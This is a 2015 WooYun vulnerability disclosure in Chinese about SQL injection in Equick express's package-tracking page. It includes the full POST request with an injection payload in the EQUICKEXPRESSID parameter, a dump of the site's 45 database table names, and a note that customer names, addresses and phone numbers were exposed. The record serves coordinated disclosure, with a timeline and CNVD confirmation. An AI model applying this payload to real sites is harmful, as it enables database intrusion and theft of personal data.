当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0157570

漏洞标题：Equick国际快递www主站注入一枚（泄露快递信息）

相关厂商：网易速达国际货运代理有限公司

漏洞作者： goubuli

提交时间：2015-12-03 23:30

修复时间：2016-01-21 10:00

公开时间：2016-01-21 10:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-03： 细节已通知厂商并且等待厂商处理中
2015-12-07： 厂商已经确认，细节仅向厂商公开
2015-12-17： 细节向核心白帽子及相关领域专家公开
2015-12-27： 细节向普通白帽子公开
2016-01-06： 细节向实习白帽子公开
2016-01-21： 细节向公众公开

简要描述：

RT
泄露：姓名、运单时间、地址、电话、货物等快递信息

详细说明：

主站：

http://**.**.**.**/index.aspx


漏洞地址：

http://**.**.**.**/pPackageTraceQuery.aspx
POST：__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJNjI0NDcxNDYxD2QWAgIDD2QWAgIBD2QWCAIMDxYCHgdWaXNpYmxlaGQCDg8WAh8AaGQCEA8WAh8AaGQCEg8WAh8AaGQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgMFDGxlZnQyJEltYWdlMQUMbGVmdDIkSW1hZ2UyBQxJbWFnZUJ1dHRvbjE%3D&__EVENTVALIDATION=%2FwEWCAL2gcisCQKk75noCQKipPhEAtXLs%2FcKAu761NYKAu76kOgEAoDMuZEHAtLCmdMI&left2%24LoginType=1&left2%24USERID=&left2%24PASSWORD=&EQUICKEXPRESSID=a%27and+1=user--&ImageButton1.x=40&ImageButton1.y=14
参数：EQUICKEXPRESSID可注入


1202-5.png


1202-1.png


1202-2.png


直接用工具刨

1202-3.png


爆出数据库信息

1202-4.png


数据表

1202-tables.png


Database: EquickOC_Home
[45 tables]
+----------------------------+
| BookColaForm               |
| BookingFormEOC             |
| BookingFormEOCGoods        |
| BookingFormEOCHistory      |
| BookingFormEOCRecycleBin   |
| BookingFormTrace           |
| BookingFormTraceHistory    |
| ClienteleInfo              |
| ClienteleSelect            |
| Company                    |
| Consumer                   |
| Country                    |
| Customer                   |
| DataDick                   |
| EBAYGOODLINK               |
| EBAYKINDLINK               |
| EBAYUSER                   |
| EC_ORDENOREPL              |
| EC_SENDMAIL                |
| EC_USERACCELOG             |
| MenuBand                   |
| MultiHTML                  |
| MultiUnion                 |
| Nonce                      |
| PrePayment                 |
| PrePaymentMelt             |
| Purview                    |
| Questions                  |
| QuestionsItems             |
| QuickType                  |
| QuickTypeService           |
| QuickTypeTrace             |
| SequenceNo                 |
| TABLE_COUNTRY              |
| TABLE_INSIDEMAILS          |
| TABLE_MAILPACKAGE          |
| TABLE_MAILPACKAGE_SENDINFO |
| TABLE_NEWS                 |
| TABLE_PAYTMP               |
| TABLE_QUICKPAY             |
| TABLE_SYSTEMDATA           |
| TABLE_USERS                |
| TABLE_WEIGHTPRICE          |
| delme_table_news           |
| dst2q                      |
+----------------------------+


数据量

1202-count.png


数据证明

1202-6.png

1202-7.png

1202-8.png


泄露：姓名、运单时间、地址、电话、货物等快递信息

漏洞证明：

已证明，未深入

修复方案：

过滤

版权声明：转载请注明来源 goubuli@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-12-07 09:54

厂商回复：

CNVD确认并复现所述情况，已由CNVD通过网站管理方公开联系渠道向其邮件通报，由其后续提供解决方案。

最新状态：

暂无

漏洞评价：

评价